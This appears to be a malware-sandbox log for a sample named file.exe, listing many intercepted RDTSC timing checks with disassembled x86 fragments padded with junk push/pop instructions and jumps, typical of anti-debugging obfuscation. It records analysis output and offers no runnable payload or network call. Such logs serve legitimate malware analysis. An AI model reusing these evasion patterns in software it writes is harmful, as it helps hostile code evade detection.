Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781AB2 second address: 781AD1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F2FD1032945h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781AD1 second address: 781AD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781AD6 second address: 781AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781AE2 second address: 781AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785FC5 second address: 785FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032945h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785E6B second address: 785E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2FD0BFC0B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785E76 second address: 785E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2FD1032944h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B642 second address: 78B680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c jbe 00007F2FD0BFC0B6h 0x00000012 jmp 00007F2FD0BFC0C7h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B680 second address: 78B68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B68D second address: 78B693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B693 second address: 78B6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F2FD1032936h 0x0000000e jmp 00007F2FD1032940h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D3B5 second address: 78D3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E9EC second address: 78EA1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD103293Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2FD1032942h 0x0000000e popad 0x0000000f jbe 00007F2FD103294Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EA1A second address: 78EA1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796541 second address: 796586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F2FD103293Bh 0x0000000b popad 0x0000000c jmp 00007F2FD103293Dh 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 jns 00007F2FD1032936h 0x0000001a pushad 0x0000001b popad 0x0000001c pop ebx 0x0000001d push esi 0x0000001e jmp 00007F2FD103293Ah 0x00000023 pop esi 0x00000024 jmp 00007F2FD103293Bh 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E27 second address: 794E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 je 00007F2FD0BFC0B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794E35 second address: 794E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79511B second address: 79511F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79511F second address: 79513A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F2FD1032936h 0x0000000f jmp 00007F2FD103293Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79513A second address: 79514A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F2FD0BFC0B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79514A second address: 79514E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7952AC second address: 7952B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7952B0 second address: 7952B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7956F1 second address: 7956F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795843 second address: 79584D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DE5F second address: 79DE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DE63 second address: 79DE67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DE67 second address: 79DE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jnc 00007F2FD0BFC0B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DE7D second address: 79DE85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82C3 second address: 7A82CD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A82CD second address: 7A82D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F2FD1032936h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9AA0 second address: 7B9AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9AA6 second address: 7B9AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC789 second address: 7BC7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0BBh 0x00000009 jnc 00007F2FD0BFC0C8h 0x0000000f popad 0x00000010 pushad 0x00000011 jnl 00007F2FD0BFC0BCh 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007F2FD0BFC0B6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC7C8 second address: 7BC7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC7CC second address: 7BC7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC344 second address: 7BC357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD103293Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC357 second address: 7BC36E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC36E second address: 7BC372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC372 second address: 7BC395 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2FD0BFC0B6h 0x00000008 jmp 00007F2FD0BFC0C9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1A9C second address: 7D1AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1AA2 second address: 7D1AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2FD0BFC0BBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1AB3 second address: 7D1AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1AB9 second address: 7D1ACA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0A85 second address: 7D0A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0D8C second address: 7D0DA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D14D4 second address: 7D14D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D14D8 second address: 7D14E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D14E8 second address: 7D14F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D17C9 second address: 7D17CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4487 second address: 7D448D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D448D second address: 7D4491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4562 second address: 7D4567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4853 second address: 7D4878 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jno 00007F2FD0BFC0BEh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4878 second address: 7D487C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D487C second address: 7D4882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4AA2 second address: 7D4AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F2FD103293Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F2FD103293Dh 0x00000013 push dword ptr [ebp+122D1A33h] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F2FD1032938h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D184Ah], edi 0x00000039 push 8FA5EEB0h 0x0000003e pushad 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0285 second address: 50A029A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A029A second address: 50A02B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A02B8 second address: 50A02BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A02BE second address: 50A033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F2FD1032941h 0x00000011 and eax, 7B583B46h 0x00000017 jmp 00007F2FD1032941h 0x0000001c popfd 0x0000001d mov ch, F9h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F2FD1032943h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov cx, 2EFBh 0x0000002d pushad 0x0000002e mov bh, ah 0x00000030 movsx edx, cx 0x00000033 popad 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F2FD1032941h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A033A second address: 50A0340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04C1 second address: 50A04E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F2FD1032939h 0x0000000d jmp 00007F2FD103293Ch 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov cl, D0h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04E5 second address: 50A04EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04EB second address: 50A04EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04EF second address: 50A04F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04F3 second address: 50A055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2FD1032948h 0x00000013 and esi, 5C8D0928h 0x00000019 jmp 00007F2FD103293Bh 0x0000001e popfd 0x0000001f call 00007F2FD1032948h 0x00000024 mov bx, ax 0x00000027 pop eax 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F2FD1032943h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A055F second address: 50A058E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2FD0BFC0BCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A058E second address: 50A0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0594 second address: 50A05B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d mov bl, cl 0x0000000f mov ecx, edi 0x00000011 popad 0x00000012 call 00007F304147FAFAh 0x00000017 push 759227D0h 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov eax, dword ptr [esp+10h] 0x00000027 mov dword ptr [esp+10h], ebp 0x0000002b lea ebp, dword ptr [esp+10h] 0x0000002f sub esp, eax 0x00000031 push ebx 0x00000032 push esi 0x00000033 push edi 0x00000034 mov eax, dword ptr [759B0140h] 0x00000039 xor dword ptr [ebp-04h], eax 0x0000003c xor eax, ebp 0x0000003e push eax 0x0000003f mov dword ptr [ebp-18h], esp 0x00000042 push dword ptr [ebp-08h] 0x00000045 mov eax, dword ptr [ebp-04h] 0x00000048 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004f mov dword ptr [ebp-08h], eax 0x00000052 lea eax, dword ptr [ebp-10h] 0x00000055 mov dword ptr fs:[00000000h], eax 0x0000005b ret 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05B8 second address: 50A05BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05BF second address: 50A05C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05C5 second address: 50A05C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05C9 second address: 50A05F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2FD0BFC0BDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05F3 second address: 50A061A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2FD103293Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A061A second address: 50A068E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F2FD0BFC0C3h 0x0000000b xor eax, 557B735Eh 0x00000011 jmp 00007F2FD0BFC0C9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, edx 0x0000001c pushad 0x0000001d movzx esi, dx 0x00000020 mov eax, edx 0x00000022 popad 0x00000023 mov al, byte ptr [edx] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F2FD0BFC0C1h 0x0000002c adc ch, 00000046h 0x0000002f jmp 00007F2FD0BFC0C1h 0x00000034 popfd 0x00000035 push eax 0x00000036 push edx 0x00000037 mov dx, ax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A068E second address: 50A069D instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A069D second address: 50A06A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A06A1 second address: 50A06B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD103293Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A06B2 second address: 50A068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F2FD0BFC0BEh 0x00000010 jne 00007F2FD0BFC038h 0x00000016 mov al, byte ptr [edx] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F2FD0BFC0C1h 0x0000001f adc ch, 00000046h 0x00000022 jmp 00007F2FD0BFC0C1h 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a mov dx, ax 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A06F2 second address: 50A0701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD103293Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0701 second address: 50A0705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0705 second address: 50A0730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov dx, E1C6h 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 popad 0x00000015 dec edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2FD1032941h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0730 second address: 50A0736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0736 second address: 50A07E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2FD103293Ah 0x00000009 xor ah, FFFFFF98h 0x0000000c jmp 00007F2FD103293Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F2FD1032948h 0x00000018 adc ch, FFFFFFF8h 0x0000001b jmp 00007F2FD103293Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 lea ebx, dword ptr [edi+01h] 0x00000027 jmp 00007F2FD1032946h 0x0000002c mov al, byte ptr [edi+01h] 0x0000002f pushad 0x00000030 mov ax, 63E9h 0x00000034 popad 0x00000035 inc edi 0x00000036 pushad 0x00000037 pushad 0x00000038 jmp 00007F2FD1032940h 0x0000003d mov ah, 9Ah 0x0000003f popad 0x00000040 mov ecx, edi 0x00000042 popad 0x00000043 test al, al 0x00000045 jmp 00007F2FD1032949h 0x0000004a jne 00007F30418AABE1h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07E0 second address: 50A07E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
